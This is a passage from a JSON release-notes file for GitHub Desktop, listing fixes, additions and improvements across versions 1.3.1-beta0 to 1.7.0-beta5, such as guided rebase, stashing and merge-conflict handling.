rebase flow - #7407" ], "1.7.0-beta5": [ "[Fixed] Handle warnings if stash creation encounters file permission issue - #7351", "[Fixed] Add \"View stash entry\" action to suggested next steps - #7353", "[Fixed] Handle and recover from failed rebase flow starts - #7223", "[Fixed] Reverse button order when viewing a stash on macOS - #7273", "[Fixed] Prevent console errors due to underlying component unmounts - #6970", "[Fixed] Rebase success banner always includes base branch name - #7220", "[Improved] Added explanatory text for \"Restore\" button for stashes - #7303", "[Improved] Ask for confirmation before discarding stash - #7348", "[Improved] Order stashed changes files alphabetically - #7327", "[Improved] Clarify \"Overwrite Stash Confirmation\" dialog text - #7361", "[Improved] Message shown in rebase setup when target branch is already rebased - #7343", "[Improved] Update stashing prompt verbiage - #7393.", "[Improved] Update \"Start Rebase\" dialog verbiage - #7391", "[Improved] Changes list now reflects what will be committed when handling rebase conflicts - #7006" ], "1.7.0-beta4": [ "[Fixed] Manual conflict resolution choice not updated when resolving rebase conflicts - #7255", "[Fixed] Menu items don't display the expected verbiage for force push and removing a repository - #4976 #7138" ], "1.7.0-beta3": [ "[New] Users can choose to bring changes with them to a new branch or stash them on the current branch when switching branches - #6107", "[Added] GitHub Desktop keyboard shortcuts available in Help menu - #7184", "[Added] .resx file extension highlighting support - #7235. Thanks @say25!", "[Fixed] Attempting to revert commits not on current branch results in an error - #6300. Thanks @msftrncs!", "[Improved] Warn users before rebase if operation will require a force push after rebase complete - #6963", "[Improved] Do not show the number of pull requests when there are no open pull requests - #7258", "[Improved] Accessibility attributes for dialog - #6496. Thanks @HirdayGupta!", "[Improved] Initiate cloning by pressing \"Enter\" when a repository is selected - #6570. Thanks @Daniel-McCarthy!", "[Improved] Manual Conflicts button styling - #7302", "[Improved] \"Add\" button in repository list should always be visible - #6646" ], "1.7.0-beta2": [ "[New] Rebase your current branch onto another branch using a guided flow - #5953", "[Fixed] Horizontal scroll bar appears unnecessarily when switching branches - #7212", "[Fixed] License templates do not end with newline character - #6999", "[Fixed] Merge/Rebase conflicts banners do not clear when aborting the operation outside Desktop - #7046", "[Fixed] Missing tooltips for change indicators in the sidebar - #7174", "[Fixed] Icon accessibility labels fail when multiple icons are visible at the same time - #7174", "[Improved] Pull requests load faster and PR build status updates automatically - #7163" ], "1.7.0-beta1": [ "[New] Recently opened repositories appear at the top of the repository list - #7132", "[Fixed] Error when selecting diff text while diff is updating - #7131", "[Fixed] Crash when unable to create log file on disk - #7096", "[Fixed] Race condition with remote lookup could cause push to go to incorrect remote - #6986", "[Fixed] Mistaken classification of all crashes being related to launch - #7126", "[Fixed] Prevent menus from being disabled by activity in inactive repositories - #6313", "[Fixed] \"Automatically Switch Theme\" on macOS does not check theme on launch - #7116. Thanks @say25!", "[Fixed] Clicking \"Undo\" doesn't repopulate summary in commit form - #6390. Thanks @humphd!", "[Fixed] Emoji rendering in app broken when account name has special characters - #6909", "[Fixed] Files staged outside Desktop for deletion are incorrectly marked as modified after committing - #4133", "[Improved] Visual feedback on \"Remove Repository\" and \"Discard Changes\" dialogs to show progress - #7015. Thanks @HashimotoYT!", "[Improved] Onboarding language for blank slate components - #6638. Thanks @jamesgeorge007!", "[Improved] Manually refresh pull requests instead of having to wait for a fetch - #7027" ], "1.6.6": [ "[Fixed] Clicking \"Undo\" doesn't repopulate summary in commit form - #6390. Thanks @humphd!", "[Fixed] Handle error when unable to create log file for app - #7096", "[Fixed] Crash when selecting text while the underlying diff changes - #7131" ], "1.6.6-test1": [ "[Fixed] Clicking \"Undo\" doesn't repopulate summary in commit form - #6390. Thanks @humphd!", "[Fixed] Handle error when unable to create log file for app - #7096", "[Fixed] Crash when selecting text while the underlying diff changes - #7131" ], "1.6.5": [ "[Fixed] Publish Repository does not let you publish to an organization on your Enterprise account - #7052" ], "1.6.5-beta2": [ "[Fixed] Publish Repository does not let you choose an organization on your Enterprise account - #7052" ], "1.6.5-beta1": [ "[Fixed] Publish Repository does not let you choose an organization on your Enterprise account - #7052" ], "1.6.4": [ "[Fixed] Embedded Git not working for core.longpath usage in some environments - #7028", "[Fixed] \"Recover missing repository\" can get stuck in a loop - #7038" ], "1.6.4-beta1": [ "[Fixed] Embedded Git not working for core.longpath usage in some environments - #7028", "[Fixed] \"Recover missing repository\" can get stuck in a loop - #7038" ], "1.6.4-beta0": [ "[Removed] Option to discard when files would be overwritten by a checkout - #7016" ], "1.6.3": [ "[New] Display \"pull with rebase\" if a user has set this option in their Git config - #6553 #3422", "[Fixed] Context menu does not open when right clicking on the edges of files in Changes list - #6296. Thanks @JQuinnie!", "[Fixed] Display question mark in image when no commit selected in dark theme - #6915. Thanks @say25!", "[Fixed] No left padding for :emoji:/@user/#issue autocomplete forms. - #6895. Thanks @murrelljenna!", "[Fixed] Reinstate missing image and update illustration in dark theme when no local changes exist - #6894", "[Fixed] Resizing the diff area preserves text selection range - #2677", "[Fixed] Text selection in wrapped diff lines now allows selection of individual lines - #1551", "[Improved] Add option to fetch when a user needs to pull changes from the remote before pushing - #2738 #5451", "[Improved] Enable Git protocol v2 for fetch/push/pull operations - #6142", "[Improved] Moving mouse pointer outside visible diff while selecting a range of lines in a partial commit now automatically scrolls the diff - #658", "[Improved] Sign in form validates both username and password - #6952. Thanks @say25!", "[Improved] Update GitHub logo in \"About\" dialog - #5619. Thanks @HashimotoYT!" ], "1.6.3-beta4": [ "[Improved] Update GitHub logo in \"About\" dialog - #5619. Thanks @HashimotoYT!", "[Improved] Sign in form validates both username and password - #6952. Thanks @say25!" ], "1.6.3-beta3": [ "[New] Display \"pull with rebase\" if a user has set this option in their Git config - #6553 #3422", "[Added] Provide option to discard when files would be overwritten by a checkout - #6755. Thanks @mathieudutour!", "[Fixed] No left padding for :emoji:/@user/#issue autocomplete forms. - #6895. Thanks @murrelljenna!", "[Fixed] Reinstate missing image and fix illustration to work in the dark theme when there are no local changes - #6894", "[Fixed] Display question mark image when there is no commit selected in dark theme - #6915. Thanks @say25!", "[Improved] Group and filter repositories by owner - #6923", "[Improved] Add option to fetch when a user needs to pull changes from the remote before pushing - #2738 #5451" ], "1.6.3-beta2": [ "[Fixed] Text selection in wrapped diff lines now allows selection of individual lines - #1551", "[Fixed] Resizing the diff area preserves text selection range - #2677", "[Improved] Moving the mouse pointer outside of the visible diff while selecting a range of lines in a partial commit will now automatically scroll the diff - #658" ], "1.6.3-beta1": [ "[New] Branches that have been merged and deleted on GitHub.com will now be pruned after two weeks - #750", "[Fixed] Context menu doesn't open when right clicking on the edges of files in Changes list - #6296. Thanks @JQuinnie!", "[Improved] Enable Git protocol v2 for fetch/push/pull operations - #6142", "[Improved] Upgrade to Electron v3 - #6391" ], "1.6.2": [ "[Added] Allow users to also resolve manual conflicts when resolving merge conflicts - #6062", "[Added] Automatic switching between Dark and Light modes on macOS - #5037. Thanks @say25!", "[Added] Crystal and Julia syntax highlighting - #6710. Thanks @KennethSweezy!", "[Added] Lua and Fortran syntax highlighting - #6700. Thanks @SimpleBinary!", "[Fixed] Abbreviated commits are not long enough for large repositories - #6662. Thanks @say25!", "[Fixed] App menu bar visible on hover on Windows when in \"Let’s get started\" mode - #6669", "[Fixed] Fix pointy corners on commit message text area - #6635. Thanks @lisavogtsf!", "[Fixed] Inconsistent \"Reveal in …\" labels for context menus - #6466. Thanks @say25!", "[Fixed] Merge conflict conflict did not ask user to resolve some binary files - #6693", "[Fixed] Prevent concurrent fetches between user and status indicator checks - #6121 #5438 #5328", "[Fixed] Remember scroll positions in History and Changes lists - #5177 #5059. Thanks @Daniel-McCarthy!", "[Improved] Guided merge conflict resolution only commits changes relevant to the merge - #6349", "[Improved] Use higher contrast color for links in \"Merge Conflicts\" dialog - #6758", "[Improved] Add link to all release notes in Release Notes dialog - #6443. Thanks @koralcem!", "[Improved] Arrow for renamed/copied changes when viewing commit - #6519. Thanks @koralcem!", "[Improved] Updated verbiage for ignoring the files - #6689. Thanks @PaulViola!" ], "1.6.2-beta3": [ "[Improved] Guided merge conflict resolution only commits changes relevant to the merge - #6349" ], "1.6.2-beta2": [ "[Added] Allow users to also resolve manual conflicts when resolving merge conflicts - #6062", "[Added] Crystal and Julia syntax highlighting - #6710. Thanks @KennethSweezy!", "[Fixed] Fix pointy corners on commit message text area - #6635. Thanks @lisavogtsf!", "[Fixed] Use higher contrast color for links in \"Merge Conflicts\" dialog - #6758" ], "1.6.2-beta1": [ "[Added] Automatic switching between Dark and Light modes on macOS - #5037. Thanks @say25!", "[Added] Lua and Fortran syntax highlighting - #6700. Thanks @SimpleBinary!", "[Fixed] Abbreviated commits are not long enough for large repositories - #6662. Thanks @say25!", "[Fixed] App menu bar visible on hover on Windows when in \"Let’s get started\" mode - #6669", "[Fixed] Remember scroll positions in History and Changes lists - #5177 #5059. Thanks @Daniel-McCarthy!", "[Fixed] Inconsistent \"Reveal in …\" labels for context menus - #6466. Thanks @say25!", "[Fixed] Prevent concurrent fetches between user and status indicator checks - #6121 #5438 #5328", "[Fixed] Merge conflict conflict did not ask user to resolve some binary files - #6693", "[Improved] Add link to all release notes in Release Notes dialog - #6443. Thanks @koralcem!", "[Improved] Arrow for renamed/copied changes when viewing commit - #6519. Thanks @koralcem!", "[Improved] Menu state updating to address race condition - #6643", "[Improved] Updated verbiage when clicking on changed files to make it more explicit what will occur when you ignore the file(s) - #6689. Thanks @PaulViola!" ], "1.6.2-beta0": [ "[Fixed] Don't show \"No local changes\" view when switching between changed files" ], "1.6.1": [ "[Fixed] Don't show \"No local changes\" view when switching between changed files" ], "1.6.0": [ "[New] Help users add their first repo during onboarding - #6474", "[New] \"No local changes\" view helpfully suggests next actions for you to take - #6445", "[Added] Support JetBrains Webstorm as an external editor - #6077. Thanks @KennethSweezy!", "[Added] Add Visual Basic syntax highlighting - #6461. Thanks @SimpleBinary!", "[Fixed] Automatically locate a missing repository when it cannot be found - #6228. Thanks @msftrncs!", "[Fixed] Don't include untracked files in merge commit - #6411", "[Fixed] Don't show \"Still Conflicted Warning\" when all conflicts are resolved - #6451", "[Fixed] Only execute menu action a single time upon hitting Enter - #5344", "[Fixed] Show autocompletion of GitHub handles and issues properly in commit description field - #6459", "[Improved] Repository list when no repositories found - #5566 #6474", "[Improved] Image diff menu no longer covered by large images - #6520. Thanks @06b!", "[Improved] Enable additional actions during a merge conflict - #6385", "[Improved] Increase contrast on input placeholder color in dark mode - #6556", "[Improved] Don't show merge success banner when attempted merge doesn't complete - #6282", "[Improved] Capitalize menu items appropriately on macOS - #6469" ], "1.6.0-beta3": [ "[Fixed] Autocomplete selection does not overflow text area - #6459", "[Fixed] No local changes views incorrectly rendering ampersands - #6596", "[Improved] Capitalization of menu items on macOS - #6469" ], "1.6.0-beta2": [ "[New] \"No local changes\" view makes it easy to find and accomplish common actions - #6445", "[Fixed] Automatically locate a missing repository when it cannot be found - #6228. Thanks @msftrncs!", "[Improved] Enable additional actions during a merge conflict - #6385", "[Improved] Increase contrast on input placeholder color in dark mode - #6556", "[Improved] Merge success banner no longer shown when attempted merge doesn't complete - #6282" ], "1.6.0-beta1": [ "[New] Help users add their first repo during onboarding - #6474", "[Added] Include ability for users to add new repositories when there are none available - #5566 #6474", "[Added] Support JetBrains Webstorm as an external editor - #6077. Thanks @KennethSweezy!", "[Added] Add Visual Basic syntax highlighting - #6461. Thanks @SimpleBinary!", "[Fixed] Don't include untracked files in merge commit - #6411", "[Fixed] Don't show \"Still Conflicted Warning\" when all conflicts are resolved - #6451", "[Fixed] Enter when using keyboard to navigate app menu executed menu action twice - #5344", "[Improved] Image diff menu no longer covered by large images - #6520. Thanks @06b!" ], "1.5.2-beta0": [], "1.5.1": [ "[Added] Provide keyboard shortcut for getting to commit summary field - #1719. Thanks @bruncun!", "[Added] Add hover states on list items and tabs - #6310", "[Added] Add Dockerfile syntax highlighting - #4533. Thanks @say25!", "[Added] Support Visual SlickEdit as an external editor - #6029. Thanks @texasaggie97!", "[Fixed] Allow repositories to be cloned to empty folders - #5857. Thanks @Daniel-McCarthy!", "[Fixed] Prevent creating branch with detached HEAD from reverting to default branch - #6085", "[Fixed] Fix \"Open In External Editor\" for Atom/VS Code on Windows when paths contain spaces - #6181. Thanks @msftrncs!", "[Fixed] Persist Branch List and Pull Request List filter text - #6002. Thanks @Daniel-McCarthy!", "[Fixed] Retain renamed branches position in recent branches list - #6155. Thanks @gnehcc!", "[Fixed] Prevent avatar duplication when user is co-author and committer - #6135. Thanks @bblarney!", "[Fixed] Provide keyboard selection for the \"Clone a Repository\" dialog - #3596. Thanks @a-golovanov!", "[Fixed] Close License & Open Source Notices dialog upon pressing \"Enter\" in dialog - #6137. Thanks @bblarney!", "[Fixed] Dismiss \"Merge into Branch\" dialog with escape key - #6154. Thanks @altaf933!", "[Fixed] Focus branch selector when comparing to branch from menu - #5600", "[Fixed] Reverse fold/unfold icons for expand/collapse commit summary - #6196. Thanks @HazemAM!", "[Improved] Allow toggling between diff modes - #6231. Thanks @06b!", "[Improved] Show focus around full input field - #6234. Thanks @seokju-na!", "[Improved] Make lists scroll to bring selected items into view - #6279", "[Improved] Consistently order the options for adding a repository - #6396. Thanks @vilanz!", "[Improved] Clear merge conflicts banner after there are no more conflicted files - #6428" ], "1.5.1-beta6": [ "[Improved] Consistently order the options for adding a repository - #6396. Thanks @vilanz!", "[Improved] Clear merge conflicts banner after there are no more conflicted files - #6428" ], "1.5.1-beta5": [ "[Improved] Commit conflicted files warning - #6381", "[Improved] Dismissable merge conflict dialog and associated banner - #6379 #6380", "[Fixed] Fix feature flag for readme overwrite warning so that it shows on beta - #6412" ], "1.5.1-beta4": [ "[Improved] Display warning if existing readme file will be overwritten - #6338. Thanks @Daniel-McCarthy!", "[Improved] Add check for attempts to commit >100 MB files without Git LFS - #997. Thanks @Daniel-McCarthy!", "[Improved] Merge conflicts dialog visual updates - #6377" ], "1.5.1-beta3": [ "[Improved] Maintains state on tabs for different methods of cloning repositories - #5937" ], "1.5.1-beta2": [ "[Improved] Clarified internal documentation - #6348. Thanks @bblarney!" ], "1.5.1-beta1": [ "[Added] Provide keyboard shortcut for getting to commit summary field - #1719. Thanks @bruncun!", "[Added] Add hover states on list items and tabs - #6310", "[Added] Add Dockerfile syntax highlighting - #4533. Thanks @say25!", "[Added] Support Visual SlickEdit as an external editor - #6029. Thanks @texasaggie97!", "[Improved] Allow toggling between diff modes - #6231. Thanks @06b!", "[Improved] Show focus around full input field - #6234. Thanks @seokju-na!", "[Improved] Make lists scroll to bring selected items into view - #6279", "[Fixed] Allow repositories to be cloned to empty folders - #5857. Thanks @Daniel-McCarthy!", "[Fixed] Prevent creating branch with detached HEAD from reverting to default branch - #6085", "[Fixed] Fix 'Open In External Editor' for Atom/VS Code on Windows when paths contain spaces - #6181. Thanks @msftrncs!", "[Fixed] Persist Branch List and Pull Request List filter text - #6002. Thanks @Daniel-McCarthy!", "[Fixed] Retain renamed branches position in recent branches list - #6155. Thanks @gnehcc!", "[Fixed] Prevent avatar duplication when user is co-author and committer - #6135. Thanks @bblarney!", "[Fixed] Provide keyboard selection for the ‘Clone a Repository’ dialog - #3596. Thanks @a-golovanov!", "[Fixed] Close License & Open Source Notices dialog upon pressing \"Enter\" in dialog - #6137. Thanks @bblarney!", "[Fixed] Dismiss \"Merge into Branch\" dialog with escape key - #6154. Thanks @altaf933!", "[Fixed] Focus branch selector when comparing to branch from menu - #5600", "[Fixed] Reverse fold/unfold icons for expand/collapse commit summary - #6196. Thanks @HazemAM!" ], "1.5.1-beta0": [], "1.5.0": [ "[New] Clone, create, or add repositories right from the repository dropdown - #5878", "[New] Drag-and-drop to add local repositories from macOS tray icon - #5048", "[Added] Resolve merge conflicts through a guided flow - #5400", "[Added] Allow merging branches directly from branch dropdown - #5929. Thanks @bruncun!", "[Added] Commit file list now has \"Copy File Path\" context menu action - #2944. Thanks @Amabel!", "[Added] Keyboard shortcut for \"Rename Branch\" menu item - #5964. Thanks @agisilaos!", "[Added] Notify users when a merge is successfully completed - #5851", "[Fixed] \"Compare on GitHub\" menu item enabled when no repository is selected - #6078", "[Fixed] Diff viewer blocks keyboard navigation using reverse tab order - #2794", "[Fixed] Launching Desktop from browser always asks to clone repository - #5913", "[Fixed] Publish dialog displayed on push when repository is already published - #5936", "[Improved] \"Publish Repository\" dialog handles emoji characters - #5980. Thanks @WaleedAshraf!", "[Improved] Avoid repository checks when no path is specified in \"Create Repository\" dialog - #5828. Thanks @JakeHL!", "[Improved] Clarify the direction of merging branches - #5930. Thanks @JQuinnie!", "[Improved] Default commit summary more explanatory and consistent with GitHub.com - #6017. Thanks @Daniel-McCarthy!", "[Improved] Display a more informative message on merge dialog when branch is up to date - #5890", "[Improved] Getting a repository's status only blocks other operations when absolutely necessary - #5952", "[Improved] Display current branch in header of merge dialog - #6027", "[Improved] Sanitize repository name before publishing to GitHub - #3090. Thanks @Daniel-McCarthy!", "[Improved] Show the branch name in \"Update From Default Branch\" menu item - #3018. Thanks @a-golovanov!", "[Improved] Update license and .gitignore templates for initializing a new repository - #6024. Thanks @say25!" ], "1.5.0-beta5": [], "1.5.0-beta4": [ "[Fixed] \"Compare on GitHub\" menu item enabled when no repository is selected - #6078", "[Fixed] Diff viewer blocks keyboard navigation using reverse tab order - #2794", "[Improved] \"Publish Repository\" dialog handles emoji characters - #5980. Thanks @WaleedAshraf!" ], "1.5.0-beta3": [], "1.5.0-beta2": [ "[Added] Resolve merge conflicts through a guided flow - #5400", "[Added] Notify users when a merge is successfully completed - #5851", "[Added] Allow merging branches directly from branch dropdown - #5929. Thanks @bruncun!", "[Improved] Merge dialog displays current branch in header - #6027", "[Improved] Clarify the direction of merging branches - #5930. Thanks @JQuinnie!", "[Improved] Show the branch name in \"Update From Default Branch\" menu item - #3018. Thanks @a-golovanov!", "[Improved] Default commit summary more explanatory and consistent with GitHub.com - #6017. Thanks @Daniel-McCarthy!", "[Improved] Updated license and .gitignore templates for initializing a new repository - #6024. Thanks @say25!" ], "1.5.0-beta1": [ "[New] Repository switcher has a convenient \"Add\" button to add other repositories - #5878", "[New] macOS tray icon now supports drag-and-drop to add local repositories - #5048", "[Added] Keyboard shortcut for \"Rename Branch\" menu item - #5964. Thanks @agisilaos!", "[Added] Commit file list now has \"Copy File Path\" context menu action - #2944. Thanks @Amabel!", "[Fixed] Launching Desktop from browser always asks to clone repository - #5913", "[Fixed] Publish dialog displayed on push when repository is already published - #5936", "[Improved] Sanitize repository name before publishing to GitHub - #3090. Thanks @Daniel-McCarthy!", "[Improved] Getting a repository's status only blocks other operations when absolutely necessary - #5952", "[Improved] Avoid repository checks when no path is specified in \"Create Repository\" dialog - #5828. Thanks @JakeHL!", "[Improved] Display a more informative message on merge dialog when branch is up to date - #5890" ], "1.4.4-beta0": [], "1.4.3": [ "[Added] Add \"Remove Repository\" keyboard shortcut - #5848. Thanks @say25!", "[Added] Add keyboard shortcut to delete a branch - #5018. Thanks @JakeHL!", "[Fixed] Emoji autocomplete not rendering in some situations - #5859", "[Fixed] Release notes text overflowing dialog box - #5854. Thanks @amarsiingh!", "[Improved] Support Python 3 in Desktop CLI on macOS - #5843. Thanks @munir131!", "[Improved] Avoid unnecessarily reloading commit history - #5470", "[Improved] Publish Branch dialog will publish commits when pressing Enter - #5777. Thanks @JKirkYuan!" ], "1.4.3-beta2": [ "[Added] Added keyboard shortcut to delete a branch - #5018. Thanks @JakeHL!", "[Fixed] Fix release notes text overflowing dialog box - #5854. Thanks @amarsiingh!", "[Improved] Avoid unnecessarily reloading commit history - #5470" ], "1.4.3-beta1": [ "[Added] Add \"Remove Repository\" keyboard shortcut - #5848. Thanks @say25!", "[Fixed] Fix emoji autocomplete not rendering in some situations - #5859", "[Fixed] Support Python 3 in Desktop CLI on macOS - #5843. Thanks @munir131!", "[Improved] Publish Branch dialog will publish commits when pressing Enter - #5777. Thanks @JKirkYuan!" ], "1.4.3-beta0": [], "1.4.2": [ "[New] Show resolved conflicts as resolved in Changes pane - #5609", "[Added] Add Terminator, MATE Terminal, and Terminology shells - #5753. Thanks @joaomlneto!", "[Fixed] Update embedded Git to version 2.19.1 for security vulnerability fix", "[Fixed] Always show commit history list when History tab is clicked - #5783. Thanks @JKirkYuan!", "[Fixed] Stop overriding the protocol of a detected GitHub repository - #5721", "[Fixed] Update sign in error message - #5766. Thanks @tiagodenoronha!", "[Fixed] Correct overflowing T&C and License Notices dialogs - #5756. Thanks @amarsiingh!", "[Improved] Add default commit message for single-file commits - #5240. Thanks @lean257!", "[Improved] Refresh commit list faster after reverting commit via UI - #5752", "[Improved] Add repository path to Remove repository dialog - #5805. Thanks @NickCraver!", "[Improved] Display whether user entered incorrect username or email address - #5775. Thanks @tiagodenoronha!", "[Improved] Update Discard Changes dialog text when discarding all changes - #5744. Thanks @Daniel-McCarthy!" ], "1.4.2-beta0": [], "1.4.1-test2": [ "Testing changes to how Desktop performs CI platform checks" ], "1.4.1-test1": [ "Testing changes to how Desktop performs CI platform checks" ], "1.4.1": [ "[Added] Support for opening repository in Cygwin terminal - #5654. Thanks @LordOfTheThunder!", "[Fixed] 'Compare to Branch' menu item not disabled when modal is open - #5673. Thanks @kanishk98!", "[Fixed] Co-author form does not show/hide for newly-added repository - #5490", "[Fixed] Desktop command line always suffixes `.git` to URL when starting a clone - #5529. Thanks @j-f1!", "[Fixed] Dialog styling issue for dark theme users on Windows - #5629. Thanks @cwongmath!", "[Fixed] No message shown when filter returns no results in Clone Repository view - #5637. Thanks @DanielHix!", "[Improved] Branch names cannot start with a '+' character - #5594. Thanks @Daniel-McCarthy!", "[Improved] Clone dialog re-runs filesystem check when re-focusing on Desktop - #5518. Thanks @Daniel-McCarthy!", "[Improved] Commit disabled when commit summary is only spaces - #5677. Thanks @Daniel-McCarthy!", "[Improved] Commit summary expander sometimes shown when not needed - #5700. Thanks @aryyya!", "[Improved] Error handling when looking for merge base of a missing ref - #5612", "[Improved] Warning if branch exists on remote when creating branch - #5141. Thanks @Daniel-McCarthy!" ], "1.4.1-beta1": [ "[Added] Support for opening repository in Cygwin terminal - #5654. Thanks @LordOfTheThunder!", "[Fixed] 'Compare to Branch' menu item not disabled when modal is open - #5673. Thanks @kanishk98!", "[Fixed] No message shown when filter returns no results in Clone Repository view - #5637. Thanks @DanielHix!", "[Fixed] Co-author form does not show/hide for newly-added repository - #5490", "[Fixed] Dialog styling issue for dark theme users on Windows - #5629. Thanks @cwongmath!", "[Fixed] Desktop command line always suffixes `.git` to URL when starting a clone - #5529. Thanks @j-f1!", "[Improved] Commit summary expander sometimes shown when not needed - #5700. Thanks @aryyya!", "[Improved] Commit disabled when commit summary is only spaces - #5677. Thanks @Daniel-McCarthy!", "[Improved] Error handling when looking for merge base of a missing ref - #5612", "[Improved] Clone dialog re-runs filesystem check when re-focusing on Desktop - #5518. Thanks @Daniel-McCarthy!", "[Improved] Branch names cannot start with a '+' character - #5594. Thanks @Daniel-McCarthy!", "[Improved] Warning if branch exists on remote when creating branch - #5141. Thanks @Daniel-McCarthy!" ], "1.4.1-beta0": [], "1.4.0": [ "[New] When an update is available for GitHub Desktop, release notes can be viewed in Desktop - #2774", "[New] Detect merge conflicts when comparing branches - #4588", "[Fixed] Avoid double checkout warning when opening a pull request in Desktop - #5375", "[Fixed] Error when publishing repository is now associated with the right tab - #5422. Thanks @Daniel-McCarthy!", "[Fixed] Disable affected menu items when on detached HEAD - #5500. Thanks @say25!", "[Fixed] Show border when commit description is expanded - #5506. Thanks @aryyya!", "[Fixed] GitLab URL which corresponds to GitHub repository of same name cloned GitHub repository - #4154", "[Fixed] Caret in co-author selector is hidden when dark theme enabled - #5589", "[Fixed] Authenticating to GitHub Enterprise fails when user has no emails defined - #5585", "[Improved] Avoid multiple lookups of default remote - #5399" ], "1.4.0-beta3": [ "[New] When an update is available for GitHub Desktop, the release notes can be viewed in Desktop - #2774", "[New] Detect merge conflicts when comparing branches - #4588", "[Fixed] Avoid double checkout warning when opening a pull request in Desktop - #5375", "[Fixed] Error when publishing repository is now associated with the right tab - #5422. Thanks @Daniel-McCarthy!", "[Fixed] Disable affected menu items when on detached HEAD - #5500. Thanks @say25!", "[Fixed] Show border when commit description is expanded - #5506. Thanks @aryyya!", "[Fixed] GitLab URL which corresponds to GitHub repository of same name cloned GitHub repository - #4154", "[Improved] Avoid multiple lookups of default remote - #5399", "[Improved] Skip optional locks when checking status of repository - #5376" ], "1.4.0-beta2": [ "[New] When an update is available for GitHub Desktop, the release notes can be viewed in Desktop - #2774", "[New] Detect merge conflicts when comparing branches - #4588", "[Fixed] Avoid double checkout warning when opening a pull request in Desktop - #5375", "[Fixed] Error when publishing repository is now associated with the right tab - #5422. Thanks @Daniel-McCarthy!", "[Fixed] Disable affected menu items when on detached HEAD - #5500. Thanks @say25!", "[Fixed] Show border when commit description is expanded - #5506. Thanks @aryyya!", "[Fixed] GitLab URL which corresponds to GitHub repository of same name cloned GitHub repository - #4154", "[Improved] Avoid multiple lookups of default remote - #5399", "[Improved] Skip optional locks when checking status of repository - #5376" ], "1.4.0-beta1": [ "[New] When an update is available for GitHub Desktop, the release notes can be viewed in Desktop - #2774", "[New] Detect merge conflicts when comparing branches - #4588", "[Fixed] Avoid double checkout warning when opening a pull request in Desktop - #5375", "[Fixed] Error when publishing repository is now associated with the right tab - #5422. Thanks @Daniel-McCarthy!", "[Fixed] Disable affected menu items when on detached HEAD - #5500. Thanks @say25!", "[Fixed] Show border when commit description is expanded - #5506. Thanks @aryyya!", "[Fixed] GitLab URL which corresponds to GitHub repository of same name cloned GitHub repository - #4154", "[Improved] Avoid multiple lookups of default remote - #5399", "[Improved] Skip optional locks when checking status of repository - #5376" ], "1.4.0-beta0": [], "1.3.5": [ "[Fixed] Disable delete button while deleting a branch - #5331", "[Fixed] History now avoids calling log.showSignature if set in config - #5466", "[Fixed] Start blocking the ability to add local bare repositories - #4293. Thanks @Daniel-McCarthy!", "[Fixed] Revert workaround for tooltip issue on Windows - #3362. Thanks @divayprakash!", "[Improved] Error message when publishing to missing organisation - #5380. Thanks @Daniel-McCarthy!", "[Improved] Don't hide commit details when commit description is expanded. - #5471. Thanks @aryyya!" ], "1.3.5-beta1": [ "[Fixed] Disable delete button while deleting a branch - #5331", "[Fixed] History now avoids calling log.showSignature if set in config - #5466", "[Fixed] Start blocking the ability to add local bare repositories - #4293. Thanks @Daniel-McCarthy!", "[Fixed] Revert workaround for tooltip issue on Windows - #3362. Thanks @divayprakash!", "[Improved] Error message when publishing to missing organisation - #5380. Thanks @Daniel-McCarthy!", "[Improved] Don't hide commit details when commit summary description is expanded. - #5471. Thanks @aryyya!" ], "1.3.5-beta0": [], "1.3.4": [ "[Improved] Cloning message uses remote repo name not file destination - #5413. Thanks @lisavogtsf!", "[Improved] Support VSCode user scope installation - #5281. Thanks @saschanaz!" ], "1.3.4-beta1": [ "[Improved] Cloning message uses remote repo name not file destination - #5413. Thanks @lisavogtsf!", "[Improved] Support VSCode user scope installation - #5281. Thanks @saschanaz!" ], "1.3.4-beta0": [], "1.3.3": [ "[Fixed] Maximize and restore app on Windows does not fill available space - #5033", "[Fixed] 'Clone repository' menu item label is obscured on Windows - #5348. Thanks @Daniel-McCarthy!", "[Fixed] User can toggle files when commit is in progress - #5341. Thanks @masungwon!", "[Improved] Repository indicator background work - #5317 #5326 #5363 #5241 #5320" ], "1.3.3-beta1": [ "[Fixed] Maximize and restore app on Windows does not fill available space - #5033", "[Fixed] 'Clone repository' menu item label is obscured on Windows - #5348. Thanks @Daniel-McCarthy!", "[Fixed] User can toggle files when commit is in progress - #5341. Thanks @masungwon!", "[Improved] Repository indicator background work - #5317 #5326 #5363 #5241 #5320" ], "1.3.3-test6": ["Testing infrastructure changes"], "1.3.3-test5": ["Testing the new CircleCI config changes"], "1.3.3-test4": ["Testing the new CircleCI config changes"], "1.3.3-test3": ["Testing the new CircleCI config changes"], "1.3.3-test2": ["Testing the new CircleCI config changes"], "1.3.3-test1": ["Testing the new CircleCI config changes"], "1.3.2": [ "[Fixed] Bugfix for background checks not being aware of missing repositories - #5282", "[Fixed] Check the local state of a repository before performing Git operations - #5289", "[Fixed] Switch to history view for default branch when deleting current branch during a compare - #5256", "[Fixed] Handle missing .git directory inside a tracked repository - #5291" ], "1.3.2-beta1": [ "[Fixed] Bugfix for background checks not being aware of missing repositories - #5282", "[Fixed] Check the local state of a repository before performing Git operations - #5289", "[Fixed] Switch to history view for default branch when deleting current branch during a compare - #5256", "[Fixed] Handle missing .git directory inside a tracked repository - #5291" ], "1.3.1": [ "[Fixed] Background Git operations on missing repositories are not handled as expected - #5282" ], "1.3.1-beta1": [ "[Fixed] Background Git operations on missing repositories are not handled as expected - #5282" ], "1.3.1-beta0": [ "[New] Notification displayed in History tab when the base branch moves ahead of the current branch - #4768", "[New] Repository list displays uncommitted changes indicator and ahead/behind information - #2259 #5095", "[Added] Option to move repository to trash when removing from app - #2108. Thanks @say25!", "[Added] Syntax highlighting for PowerShell files - #5081. Thanks @say25!", "[Fixed] \"Discard Changes\" context menu discards correct file when entry is not part of selected group - #4788", "[Fixed] Display local path of selected repository as tooltip - #4922. Thanks @yongdamsh!", "[Fixed] Display root directory name when repository is located at drive root - #4924", "[Fixed] Handle legacy macOS right click gesture - #4942", "[Fixed] History omits latest commit from list - #5243", "[Fixed] Markdown header elements hard to read in dark mode - #5133. Thanks @agisilaos!", "[Fixed] Only perform ahead/behind comparisons when branch selector is open - #5142", "[Fixed] Relax checks for merge commits for GitHub Enterprise repositories - #4329", "[Fixed] Render clickable link in \"squash and merge\" commit message - #5203. Thanks @1pete!", "[Fixed] Return key disabled when no matches found in Compare branch list - #4458", "[Fixed] Selected commit not remembered when switching between History and Changes tabs - #4985", "[Fixed] Selected commit when comparing is reset to latest when Desktop regains focus - #5069", "[Fixed] Support default branch detection for non-GitHub repositories - #4937", "[Improved] Change primary button color to blue for dark 